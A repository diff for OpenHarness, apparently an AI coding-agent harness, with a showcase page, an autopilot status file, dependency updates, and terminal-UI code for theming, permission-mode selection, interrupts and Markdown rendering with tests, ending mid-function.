# OpenHarness Showcase
This page collects concrete ways to use OpenHarness without overselling the project. Each example is intended to be small, reproducible, and easy to extend.
## 1. Repository-aware coding assistant
Use OpenHarness as a lightweight local coding agent for reading code, making edits, and running validation commands.
```bash
uv run oh
```
Example prompt:
```text
Review this repo, identify the highest-risk bug, patch it, and run the relevant tests.
```
## 2. Headless automation for scripts and CI
The print mode is useful when you want structured output in shell pipelines or automation jobs.
```bash
uv run oh -p "Summarize the purpose of this repository" --output-format json
uv run oh -p "List files that define the permission system" --output-format stream-json
```
## 3. Skill and plugin playground
OpenHarness can load Markdown skills and Claude-style plugin layouts, which makes it useful for experimentation with custom workflows.
Examples:
- Put a custom skill in `~/.openharness/skills/`.
- Install a plugin into `~/.openharness/plugins/`.
- Use the same workflow conventions across multiple local projects.
## 4. Multi-agent and background task experiments
The repo includes team coordination primitives, background task management, and task inspection tools.
Example prompts:
```text
Spawn a worker to audit the test suite while you inspect the CLI command registry.
```
```text
Create a background task that runs the slow integration script and report back when it finishes.
```
## 5. Provider compatibility testbed
OpenHarness is useful when you need to compare Anthropic-compatible backends behind one harness.
Typical scenarios:
- Default Anthropic setup.
- Moonshot/Kimi through an Anthropic-compatible endpoint.
- Vertex-compatible and Bedrock-compatible gateways.
- Internal proxies that expose an Anthropic-style API surface.
See the provider compatibility table in [`README.md`](../README.md#-provider-compatibility).
## 6. Documentation-first onboarding
If you are evaluating the project rather than contributing code, start here:
- [`README.md`](../README.md) for install, usage, and architecture.
- [`CONTRIBUTING.md`](../CONTRIBUTING.md) for contributor workflow.
- [`CHANGELOG.md`](../CHANGELOG.md) for visible repo changes.
## How to contribute a showcase entry
Good showcase additions are:
- Based on a real workflow you ran.
- Short enough to reproduce locally.
- Honest about prerequisites and limitations.
- Focused on what OpenHarness makes easier, not on generic LLM claims.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+16
View File
@@ -0,0 +1,16 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Autopilot Kanban</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet" />
<script type="module" crossorigin src="./assets/index-gQnrxco6.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-CENkxP5l.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
+59
View File
@@ -0,0 +1,59 @@
{
"generated_at": 1776338766.0050209,
"repo_name": "OpenHarness-new",
"repo_path": "/home/tangjiabin/OpenHarness-new",
"focus": null,
"counts": {
"queued": 0,
"accepted": 0,
"preparing": 0,
"running": 0,
"verifying": 0,
"pr_open": 0,
"waiting_ci": 0,
"repairing": 0,
"completed": 0,
"merged": 0,
"failed": 0,
"rejected": 0,
"superseded": 0
},
"status_order": [
"queued",
"accepted",
"preparing",
"running",
"verifying",
"pr_open",
"waiting_ci",
"repairing",
"completed",
"merged",
"failed",
"rejected",
"superseded"
],
"columns": {
"queued": [],
"accepted": [],
"preparing": [],
"running": [],
"verifying": [],
"pr_open": [],
"waiting_ci": [],
"repairing": [],
"completed": [],
"merged": [],
"failed": [],
"rejected": [],
"superseded": []
},
"cards": [],
"journal": [],
"policies": {
"autopilot": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml",
"verification": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml",
"release": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
},
"active_context": "# Active Repo Context\n\nGenerated at: 2026-04-16 11:05:49 UTC\n\n## Current Task Focus\n- No active repo task focus yet.\n\n## In Progress\n- None.\n\n## Next Up\n- No queued items.\n\n## Recently Completed\n- None yet.\n\n## Recent Failures\n- None.\n\n## Recent Repo Journal\n- Journal is empty.\n\n## Policies\n- Autopilot: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml\n- Verification: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml\n- Release: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
}
+15 -4
View File
@@ -8,7 +8,9 @@
"dependencies": {
"ink": "^5.1.0",
"ink-text-input": "^6.0.0",
"react": "^18.3.1"
"marked": "^18.0.0",
"react": "^18.3.1",
"string-width": "^7.2.0"
},
"devDependencies": {
"@types/node": "^22.13.10",
@@ -495,7 +497,6 @@
"integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==",
"devOptional": true,
"license": "MIT",
"peer": true,
"dependencies": {
"@types/prop-types": "*",
"csstype": "^3.2.2"
@@ -787,7 +788,6 @@
"resolved": "https://registry.npmjs.org/ink/-/ink-5.2.1.tgz",
"integrity": "sha512-BqcUyWrG9zq5HIwW6JcfFHsIYebJkWWb4fczNah1goUO0vv5vneIlfwuS85twyJ5hYR/y18FlAYUxrO9ChIWVg==",
"license": "MIT",
"peer": true,
"dependencies": {
"@alcalzone/ansi-tokenize": "^0.1.3",
"ansi-escapes": "^7.0.0",
@@ -893,6 +893,18 @@
"loose-envify": "cli.js"
}
},
"node_modules/marked": {
"version": "18.0.0",
"resolved": "https://registry.npmjs.org/marked/-/marked-18.0.0.tgz",
"integrity": "sha512-2e7Qiv/HJSXj8rDEpgTvGKsP8yYtI9xXHKDnrftrmnrJPaFNM7VRb2YCzWaX4BP1iCJ/XPduzDJZMFoqTCcIMA==",
"license": "MIT",
"bin": {
"marked": "bin/marked.js"
},
"engines": {
"node": ">= 20"
}
},
"node_modules/mimic-fn": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
@@ -931,7 +943,6 @@
"resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz",
"integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==",
"license": "MIT",
"peer": true,
"dependencies": {
"loose-envify": "^1.1.0"
},
+3 -1
View File
@@ -8,7 +8,9 @@
"dependencies": {
"ink": "^5.1.0",
"ink-text-input": "^6.0.0",
"react": "^18.3.1"
"marked": "^18.0.0",
"react": "^18.3.1",
"string-width": "^7.2.0"
},
"devDependencies": {
"@types/node": "^22.13.10",
+152 -53
View File
@@ -1,4 +1,4 @@
import React, {useEffect, useMemo, useState} from 'react';
import React, {useDeferredValue, useEffect, useMemo, useState} from 'react';
import {Box, Text, useApp, useInput} from 'ink';
import {CommandPicker} from './components/CommandPicker.js';
@@ -7,7 +7,10 @@ import {ModalHost} from './components/ModalHost.js';
import {PromptInput} from './components/PromptInput.js';
import {SelectModal, type SelectOption} from './components/SelectModal.js';
import {StatusBar} from './components/StatusBar.js';
import {SwarmPanel} from './components/SwarmPanel.js';
import {TodoPanel} from './components/TodoPanel.js';
import {useBackendSession} from './hooks/useBackendSession.js';
import {ThemeProvider, useTheme} from './theme/ThemeContext.js';
import type {FrontendConfig} from './types.js';
const rawReturnSubmit = process.env.OPENHARNESS_FRONTEND_RAW_RETURN === '1';
@@ -24,11 +27,20 @@ const scriptedSteps = (() => {
}
})();
const PERMISSION_MODES: SelectOption[] = [
{value: 'default', label: 'Default', description: 'Ask before write/execute operations'},
{value: 'full_auto', label: 'Auto', description: 'Allow all tools automatically'},
{value: 'plan', label: 'Plan Mode', description: 'Block all write operations'},
];
const SELECTABLE_COMMANDS = new Set([
'/provider',
'/model',
'/theme',
'/output-style',
'/permissions',
'/resume',
'/effort',
'/passes',
'/turns',
'/fast',
'/vim',
'/voice',
]);
type SelectModalState = {
title: string;
@@ -37,21 +49,46 @@ type SelectModalState = {
} | null;
export function App({config}: {config: FrontendConfig}): React.JSX.Element {
const initialTheme = String((config as Record<string, unknown>).theme ?? 'default');
return (
<ThemeProvider initialTheme={initialTheme}>
<AppInner config={config} />
</ThemeProvider>
);
}
function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
const {exit} = useApp();
const {theme, setThemeName} = useTheme();
const [input, setInput] = useState('');
const [modalInput, setModalInput] = useState('');
const [history, setHistory] = useState<string[]>([]);
const [historyIndex, setHistoryIndex] = useState(-1);
const [lastEscapeAt, setLastEscapeAt] = useState(0);
const [scriptIndex, setScriptIndex] = useState(0);
const [pickerIndex, setPickerIndex] = useState(0);
const [selectModal, setSelectModal] = useState<SelectModalState>(null);
const [selectIndex, setSelectIndex] = useState(0);
const session = useBackendSession(config, () => exit());
const deferredTranscript = useDeferredValue(session.transcript);
const deferredAssistantBuffer = useDeferredValue(session.assistantBuffer);
const deferredStatus = useDeferredValue(session.status);
const deferredTasks = useDeferredValue(session.tasks);
const deferredTodoMarkdown = useDeferredValue(session.todoMarkdown);
const deferredSwarmTeammates = useDeferredValue(session.swarmTeammates);
const deferredSwarmNotifications = useDeferredValue(session.swarmNotifications);
useEffect(() => {
const nextTheme = session.status.theme;
if (typeof nextTheme === 'string' && nextTheme) {
setThemeName(nextTheme);
}
}, [session.status.theme, setThemeName]);
// Current tool name for spinner
const currentToolName = useMemo(() => {
for (let i = session.transcript.length - 1; i >= 0; i--) {
const item = session.transcript[i];
for (let i = deferredTranscript.length - 1; i >= 0; i--) {
const item = deferredTranscript[i];
if (item.role === 'tool') {
return item.tool_name ?? 'tool';
}
@@ -60,7 +97,7 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
}
}
return undefined;
}, [session.transcript]);
}, [deferredTranscript]);
// Command hints
const commandHints = useMemo(() => {
@@ -72,6 +109,7 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
}, [session.commands, input]);
const showPicker = commandHints.length > 0 && !session.busy && !session.modal && !selectModal;
const outputStyle = String(session.status.output_style ?? 'default');
useEffect(() => {
setPickerIndex(0);
@@ -87,12 +125,13 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
session.setSelectRequest(null);
return;
}
setSelectIndex(0);
const initialIndex = req.options.findIndex((option) => option.active);
setSelectIndex(initialIndex >= 0 ? initialIndex : 0);
setSelectModal({
title: req.title,
options: req.options.map((o) => ({value: o.value, label: o.label, description: o.description})),
options: req.options.map((o) => ({value: o.value, label: o.label, description: o.description, active: o.active})),
onSelect: (value) => {
session.sendRequest({type: 'submit_line', line: `${req.submitPrefix}${value}`});
session.sendRequest({type: 'apply_select_command', command: req.command, value});
session.setBusy(true);
setSelectModal(null);
},
@@ -104,24 +143,14 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
const handleCommand = (cmd: string): boolean => {
const trimmed = cmd.trim();
if (SELECTABLE_COMMANDS.has(trimmed)) {
session.sendRequest({type: 'select_command', command: trimmed.slice(1)});
return true;
}
// /permissions → show mode picker
if (trimmed === '/permissions' || trimmed === '/permissions show') {
const currentMode = String(session.status.permission_mode ?? 'default');
const options = PERMISSION_MODES.map((opt) => ({
...opt,
active: opt.value === currentMode,
}));
const initialIndex = options.findIndex((o) => o.active);
setSelectIndex(initialIndex >= 0 ? initialIndex : 0);
setSelectModal({
title: 'Permission Mode',
options,
onSelect: (value) => {
session.sendRequest({type: 'submit_line', line: `/permissions set ${value}`});
session.setBusy(true);
setSelectModal(null);
},
});
session.sendRequest({type: 'select_command', command: 'permissions'});
return true;
}
@@ -139,7 +168,7 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
// /resume → request session list from backend (will trigger select_request)
if (trimmed === '/resume') {
session.sendRequest({type: 'list_sessions'});
session.sendRequest({type: 'select_command', command: 'resume'});
return true;
}
@@ -147,13 +176,26 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
};
useInput((chunk, key) => {
// Ctrl+C → exit
const isPaste = chunk.length > 1 && !key.ctrl && !key.meta;
const isEscape = key.escape || chunk === '\u001B';
// Ctrl+C interrupts a running turn; when idle it exits the TUI.
if (key.ctrl && chunk === 'c') {
if (session.busy) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
session.sendRequest({type: 'shutdown'});
exit();
return;
}
// Let ink-text-input handle pasted text directly.
if (isPaste) {
return;
}
// --- Select modal (permissions picker etc.) ---
if (selectModal) {
if (key.upArrow) {
@@ -205,7 +247,7 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
}
}
// --- Permission modal ---
// --- Permission modal (MUST be before busy check — modal appears while busy) ---
if (session.modal?.kind === 'permission') {
if (chunk.toLowerCase() === 'y') {
session.sendRequest({
@@ -216,7 +258,7 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'n' || key.escape) {
if (chunk.toLowerCase() === 'n' || isEscape) {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
@@ -228,11 +270,29 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
return;
}
// --- Question modal (also appears while busy) ---
if (session.modal?.kind === 'question') {
return; // Let TextInput in ModalHost handle input
}
if (session.busy && isEscape) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
// --- Ignore input while busy ---
if (session.busy) {
return;
}
// Empty-input Tab opens the permission mode picker. This makes leaving
// plan mode explicit without requiring users to remember /permissions.
if (!showPicker && key.tab && input.trim() === '') {
session.sendRequest({type: 'select_command', command: 'permissions'});
return;
}
// --- Command picker ---
if (showPicker) {
if (key.upArrow) {
@@ -256,16 +316,32 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
if (key.tab) {
const selected = commandHints[pickerIndex];
if (selected) {
setInput(selected + ' ');
// Complete to the selected command with no trailing space —
// the user can hit Enter immediately to run it, or keep
// typing to add args. The trailing space made it look like
// Tab was "committing" with a token, which broke the flow.
setInput(selected);
}
return;
}
if (key.escape) {
if (isEscape) {
setInput('');
return;
}
}
if (isEscape) {
const now = Date.now();
if (input && now - lastEscapeAt < 500) {
setInput('');
setHistoryIndex(-1);
setLastEscapeAt(0);
return;
}
setLastEscapeAt(now);
return;
}
// --- History navigation ---
if (!showPicker && key.upArrow) {
const nextIndex = Math.min(history.length - 1, historyIndex + 1);
@@ -282,11 +358,8 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
return;
}
// --- Submit on Enter ---
if (!showPicker && key.return && input.trim()) {
onSubmit(input);
return;
}
// Note: normal Enter submission is handled by TextInput's onSubmit in
// PromptInput. Do NOT duplicate it here — that causes double requests.
});
const onSubmit = (value: string): void => {
@@ -300,7 +373,12 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
setModalInput('');
return;
}
if (!value.trim() || session.busy) {
if (!value.trim() || session.busy || !session.ready) {
if (session.busy && value.trim() === '/stop') {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
setInput('');
}
return;
}
// Check if it's an interactive command
@@ -338,9 +416,10 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
{/* Conversation area */}
<Box flexDirection="column" flexGrow={1}>
<ConversationView
items={session.transcript}
assistantBuffer={session.assistantBuffer}
showWelcome={true}
items={deferredTranscript}
assistantBuffer={deferredAssistantBuffer}
showWelcome={session.ready && outputStyle !== 'codex'}
outputStyle={outputStyle}
/>
</Box>
@@ -368,29 +447,49 @@ export function App({config}: {config: FrontendConfig}): React.JSX.Element {
<CommandPicker hints={commandHints} selectedIndex={pickerIndex} />
) : null}
{/* Status bar */}
<StatusBar status={session.status} tasks={session.tasks} />
{/* Todo panel */}
{session.ready && deferredTodoMarkdown ? (
<TodoPanel markdown={deferredTodoMarkdown} />
) : null}
{/* Input */}
{session.modal || selectModal ? null : (
{/* Swarm panel */}
{session.ready && (deferredSwarmTeammates.length > 0 || deferredSwarmNotifications.length > 0) ? (
<SwarmPanel teammates={deferredSwarmTeammates} notifications={deferredSwarmNotifications} />
) : null}
{/* Status bar (only after backend is ready) */}
{session.ready ? (
<StatusBar status={deferredStatus} tasks={deferredTasks} activeToolName={session.busy ? currentToolName : undefined} />
) : null}
{/* Input — show loading indicator until backend is ready */}
{!session.ready ? (
<Box>
<Text color={theme.colors.warning}>Connecting to backend...</Text>
</Box>
) : session.modal || selectModal ? null : (
<PromptInput
busy={session.busy}
input={input}
setInput={setInput}
onSubmit={onSubmit}
toolName={session.busy ? currentToolName : undefined}
statusLabel={session.busy ? (session.busyLabel ?? (currentToolName ? `Running ${currentToolName}...` : 'Running agent loop...')) : undefined}
suppressSubmit={showPicker}
/>
)}
{/* Keyboard hints */}
{!session.modal && !session.busy && !selectModal ? (
{/* Keyboard hints (only after backend is ready) */}
{session.ready && !session.modal && !selectModal ? (
<Box>
<Text dimColor>
<Text color="cyan">enter</Text> send{' '}
<Text color="cyan">/</Text> commands{' '}
<Text color="cyan">{'\u2191\u2193'}</Text> history{' '}
<Text color="cyan">ctrl+c</Text> exit
<Text color={theme.colors.primary}>shift+enter</Text> newline{' '}
<Text color={theme.colors.primary}>enter</Text> send{' '}
<Text color={theme.colors.primary}>/</Text> commands{' '}
<Text color={theme.colors.primary}>tab</Text> mode{' '}
<Text color={theme.colors.primary}>{'\u2191\u2193'}</Text> history{' '}
<Text color={theme.colors.primary}>{session.busy ? '/stop' : 'esc'}</Text> stop{' '}
<Text color={theme.colors.primary}>ctrl+c</Text> {session.busy ? 'stop' : 'exit'}
</Text>
</Box>
) : null}
@@ -1,7 +1,7 @@
import React from 'react';
import {Box, Text} from 'ink';
export function CommandPicker({
function CommandPickerInner({
hints,
selectedIndex,
}: {
@@ -31,3 +31,5 @@ export function CommandPicker({
</Box>
);
}
export const CommandPicker = React.memo(CommandPickerInner);
@@ -24,7 +24,7 @@ export function Composer({
</Box>
<Box marginTop={1}>
<Text dimColor>
enter=submit tab=complete ctrl-p/ctrl-n=history history_index={String(historyIndex)}
shift+enter=newline enter=submit tab=complete ctrl-p/ctrl-n=history history_index={String(historyIndex)}
</Text>
</Box>
</Box>
@@ -1,76 +1,178 @@
import React from 'react';
import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
import type {TranscriptItem} from '../types.js';
import {MarkdownText} from './MarkdownText.js';
import {ToolCallDisplay} from './ToolCallDisplay.js';
import {WelcomeBanner} from './WelcomeBanner.js';
export function ConversationView({
type ToolPair = readonly [TranscriptItem, TranscriptItem];
type GroupedItem = TranscriptItem | ToolPair;
function groupToolPairs(items: TranscriptItem[]): GroupedItem[] {
const result: GroupedItem[] = [];
let i = 0;
while (i < items.length) {
const cur = items[i];
const next = items[i + 1];
if (cur.role === 'tool' && next?.role === 'tool_result') {
result.push([cur, next] as const);
i += 2;
} else {
result.push(cur);
i++;
}
}
return result;
}
function ConversationViewInner({
items,
assistantBuffer,
showWelcome,
outputStyle,
}: {
items: TranscriptItem[];
assistantBuffer: string;
showWelcome: boolean;
outputStyle: string;
}): React.JSX.Element {
// Show the most recent items that fit the viewport
const {theme} = useTheme();
const isCodexStyle = outputStyle === 'codex';
const visible = items.slice(-40);
const grouped = groupToolPairs(visible);
return (
<Box flexDirection="column" flexGrow={1}>
{showWelcome && items.length === 0 ? <WelcomeBanner /> : null}
{visible.map((item, index) => (
<MessageRow key={index} item={item} />
))}
{grouped.map((group, index) => {
if (Array.isArray(group)) {
const [toolItem, resultItem] = group as [TranscriptItem, TranscriptItem];
return (
<ToolCallDisplay
key={index}
item={toolItem}
resultItem={resultItem}
outputStyle={outputStyle}
/>
);
}
return (
<MessageRow
key={index}
item={group as TranscriptItem}
theme={theme}
outputStyle={outputStyle}
/>
);
})}
{assistantBuffer ? (
<Box flexDirection="row" marginTop={0}>
<Text color="green" bold>{'\u23FA '}</Text>
<Text>{assistantBuffer}</Text>
</Box>
isCodexStyle ? (
<Box flexDirection="row" marginTop={0}>
<Text>{assistantBuffer}</Text>
</Box>
) : (
<Box marginTop={1} marginBottom={0} flexDirection="column">
<Text>
<Text color={theme.colors.success} bold>{theme.icons.assistant}</Text>
</Text>
<Box marginLeft={2} flexDirection="column">
<MarkdownText content={assistantBuffer} />
</Box>
</Box>
)
) : null}
</Box>
);
}
function MessageRow({item}: {item: TranscriptItem}): React.JSX.Element {
export const ConversationView = React.memo(ConversationViewInner);
function MessageRow({
item,
theme,
outputStyle,
}: {
item: TranscriptItem;
theme: ReturnType<typeof useTheme>['theme'];
outputStyle: string;
}): React.JSX.Element {
const isCodexStyle = outputStyle === 'codex';
switch (item.role) {
case 'user':
if (isCodexStyle) {
return (
<Box marginTop={0}>
<Text>
<Text dimColor>{'> '}</Text>
<Text>{item.text}</Text>
</Text>
</Box>
);
}
return (
<Box marginTop={1} marginBottom={0}>
<Text>
<Text color="white" bold>{'> '}</Text>
<Text color={theme.colors.secondary} bold>{theme.icons.user}</Text>
<Text>{item.text}</Text>
</Text>
</Box>
);
case 'assistant':
if (isCodexStyle) {
return (
<Box marginTop={0} marginBottom={0}>
<Text>{item.text}</Text>
</Box>
);
}
return (
<Box marginTop={1} marginBottom={0} flexDirection="column">
<Text>
<Text color="green" bold>{'\u23FA '}</Text>
<Text>{item.text}</Text>
<Text color={theme.colors.success} bold>{theme.icons.assistant}</Text>
</Text>
<Box marginLeft={2} flexDirection="column">
<MarkdownText content={item.text} />
</Box>
</Box>
);
case 'tool':
case 'tool_result':
return <ToolCallDisplay item={item} />;
return <ToolCallDisplay item={item} outputStyle={outputStyle} />;
case 'system':
if (isCodexStyle) {
return (
<Box marginTop={0}>
<Text>
<Text color={theme.colors.warning}>[system]</Text>
<Text> {item.text}</Text>
</Text>
</Box>
);
}
return (
<Box marginTop={0}>
<Text>
<Text color="yellow">{'\u2139 '}</Text>
<Text color="yellow">{item.text}</Text>
<Text color={theme.colors.warning}>{theme.icons.system}</Text>
<Text color={theme.colors.warning}>{item.text}</Text>
</Text>
</Box>
);
case 'status':
return (
<Box marginTop={0}>
<Text color={theme.colors.info}>{item.text}</Text>
</Box>
);
case 'log':
return (
<Box>
@@ -0,0 +1,119 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React from 'react';
import {render} from 'ink';
import {ThemeProvider} from '../theme/ThemeContext.js';
import {MarkdownText} from './MarkdownText.js';
const stripAnsi = (value: string): string => value.replace(/\u001B\[[0-9;?]*[ -/]*[@-~]/g, '');
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
async function waitForOutputToStabilize(getOutput: () => string): Promise<string> {
let previous = '';
let sawOutput = false;
for (let i = 0; i < 50; i++) {
await nextLoopTurn();
const current = getOutput();
sawOutput ||= current.length > 0;
if (sawOutput && current === previous) {
return current;
}
previous = current;
}
throw new Error(`Ink output did not stabilize: ${JSON.stringify(previous)}`);
}
async function renderMarkdownLines(content: string): Promise<string[]> {
const stdout = createTestStdout();
let output = '';
stdout.on('data', (chunk) => {
output += chunk.toString();
});
const instance = render(
<ThemeProvider initialTheme="default">
<MarkdownText content={content} />
</ThemeProvider>,
{stdout: stdout as unknown as NodeJS.WriteStream, debug: true, patchConsole: false},
);
const exitPromise = instance.waitUntilExit();
const stableOutput = await waitForOutputToStabilize(() => output);
instance.unmount();
await exitPromise;
await waitForOutputToStabilize(() => output);
instance.cleanup();
return stripAnsi(stableOutput)
.split('\n')
.filter(Boolean);
}
async function renderTableLines(content: string): Promise<string[]> {
return (await renderMarkdownLines(content))
.filter((line) => /[┌├│└]/.test(line))
.slice(0, 5);
}
test('keeps table borders aligned when cells contain inline markdown', async () => {
const lines = await renderTableLines('| `aa` | bb |\n|------|----|\n| c | **ddd** |');
assert.equal(lines.length, 5);
const widths = lines.map((line) => [...line].length);
assert.ok(
widths.every((width) => width === widths[0]),
`Expected table lines to share a width, got ${JSON.stringify(
lines.map((line, index) => ({line, width: widths[index]})),
)}`,
);
});
test('renders unknown inline table tokens using the visible token text fallback', async () => {
const lines = await renderTableLines('| ![alt](https://example.com/img.png) | ok |\n|---|---|\n| x | y |');
assert.equal(lines.length, 5);
assert.match(lines[1] ?? '', /\balt\b/);
assert.doesNotMatch(lines[1] ?? '', /!\[alt\]/);
const widths = lines.map((line) => [...line].length);
assert.ok(
widths.every((width) => width === widths[0]),
`Expected fallback-token table lines to share a width, got ${JSON.stringify(
lines.map((line, index) => ({line, width: widths[index]})),
)}`,
);
});
test('preserves nested markdown structure inside blockquotes', async () => {
const lines = await renderMarkdownLines('> - first\n> - second');
assert.ok(lines.some((line) => line.includes('• first')), `Expected blockquote output to include a rendered bullet: ${JSON.stringify(lines)}`);
assert.ok(lines.some((line) => line.includes('• second')), `Expected blockquote output to include the second rendered bullet: ${JSON.stringify(lines)}`);
});
@@ -0,0 +1,315 @@
import React from 'react';
import {Box, Text} from 'ink';
import {lexer, type Token, type Tokens} from 'marked';
import stringWidth from 'string-width';
import {useTheme} from '../theme/ThemeContext.js';
import type {ThemeConfig} from '../theme/builtinThemes.js';
function getInlineFallbackText(token: Token): string {
if ('text' in token && typeof token.text === 'string') {
return token.text;
}
return token.raw;
}
function getInlineDisplayText(tokens: Token[] | undefined): string {
if (!tokens || tokens.length === 0) {
return '';
}
return tokens.map((token) => {
switch (token.type) {
case 'text': {
const t = token as Tokens.Text;
return t.tokens && t.tokens.length > 0 ? getInlineDisplayText(t.tokens) : t.text;
}
case 'strong':
case 'em':
case 'del':
return getInlineDisplayText((token as Tokens.Strong | Tokens.Em | Tokens.Del).tokens);
case 'codespan':
return (token as Tokens.Codespan).text;
case 'link': {
const l = token as Tokens.Link;
return l.text || l.href;
}
case 'image': {
const image = token as Tokens.Image;
return image.text || image.href;
}
case 'br':
return '\n';
case 'escape':
return (token as Tokens.Escape).text;
default:
return getInlineFallbackText(token);
}
}).join('');
}
function getTableCellDisplayText(cell: Tokens.TableCell): string {
const displayText = getInlineDisplayText(cell.tokens);
return displayText.length > 0 ? displayText : cell.text;
}
// Inline token renderer — returns an array of <Text> elements.
function renderInline(tokens: Token[] | undefined, theme: ThemeConfig): React.ReactNode {
if (!tokens || tokens.length === 0) {
return null;
}
return tokens.map((token, i) => {
switch (token.type) {
case 'text': {
const t = token as Tokens.Text;
// Text tokens can themselves contain inline children, such as list items.
if (t.tokens && t.tokens.length > 0) {
return <React.Fragment key={i}>{renderInline(t.tokens, theme)}</React.Fragment>;
}
return <Text key={i}>{t.text}</Text>;
}
case 'strong': {
const s = token as Tokens.Strong;
return (
<Text key={i} bold>
{renderInline(s.tokens, theme)}
</Text>
);
}
case 'em': {
const e = token as Tokens.Em;
return (
<Text key={i} italic>
{renderInline(e.tokens, theme)}
</Text>
);
}
case 'del': {
const d = token as Tokens.Del;
return (
<Text key={i} strikethrough>
{renderInline(d.tokens, theme)}
</Text>
);
}
case 'codespan': {
const c = token as Tokens.Codespan;
return (
<Text key={i} color={theme.colors.accent}>
{c.text}
</Text>
);
}
case 'link': {
const l = token as Tokens.Link;
const label = l.text || l.href;
return (
<Text key={i} color={theme.colors.info}>
{label}
</Text>
);
}
case 'image': {
const image = token as Tokens.Image;
return <Text key={i}>{image.text || image.href}</Text>;
}
case 'br':
return <Text key={i}>{'\n'}</Text>;
case 'escape': {
const es = token as Tokens.Escape;
return <Text key={i}>{es.text}</Text>;
}
default:
return <Text key={i}>{getInlineFallbackText(token)}</Text>;
}
});
}
function renderBlocks(tokens: Token[] | undefined, theme: ThemeConfig): React.ReactNode {
if (!tokens || tokens.length === 0) {
return null;
}
return tokens.map((token, i) => (
<MarkdownBlock key={i} token={token} theme={theme} />
));
}
function MarkdownBlock({
token,
theme,
}: {
token: Token;
theme: ThemeConfig;
}): React.JSX.Element | null {
switch (token.type) {
case 'heading': {
const h = token as Tokens.Heading;
const headingColors: string[] = [
theme.colors.primary,
theme.colors.secondary,
theme.colors.accent,
theme.colors.info,
theme.colors.muted,
theme.colors.muted,
];
const color = headingColors[h.depth - 1] ?? theme.colors.primary;
const isMajor = h.depth <= 2;
return (
<Box marginTop={1} flexDirection="column">
<Text color={color} bold={isMajor} underline={h.depth === 1}>
{renderInline(h.tokens, theme)}
</Text>
{h.depth === 1 ? <Text color={color} dimColor>{'━'.repeat(32)}</Text> : null}
</Box>
);
}
case 'paragraph': {
const p = token as Tokens.Paragraph;
return (
<Box marginTop={0} flexWrap="wrap">
<Text>{renderInline(p.tokens, theme)}</Text>
</Box>
);
}
case 'code': {
const c = token as Tokens.Code;
const lines = c.text.split('\n');
return (
<Box flexDirection="column" marginTop={1} marginLeft={2} borderStyle="round" paddingX={1} borderColor={theme.colors.muted}>
{c.lang ? (
<Text dimColor>{c.lang}</Text>
) : null}
{lines.map((line, i) => (
<Text key={i} color={theme.colors.accent}>
{line}
</Text>
))}
</Box>
);
}
case 'blockquote': {
const bq = token as Tokens.Blockquote;
return (
<Box flexDirection="column" marginTop={0} marginLeft={0}>
{bq.tokens.map((t, i) => (
<Box key={i} flexDirection="row">
<Text color={theme.colors.muted}>{'│ '}</Text>
<Box flexDirection="column" flexGrow={1}>
{renderBlocks([t], theme)}
</Box>
</Box>
))}
</Box>
);
}
case 'list': {
const l = token as Tokens.List;
return (
<Box flexDirection="column" marginTop={0} marginLeft={2}>
{l.items.map((item, i) => {
// For tight lists, item.tokens = [{type:'text', tokens:[...inline]}]
// For loose lists, item.tokens = [{type:'paragraph', tokens:[...inline]}]
const inlineTokens: Token[] = item.tokens.flatMap((t) =>
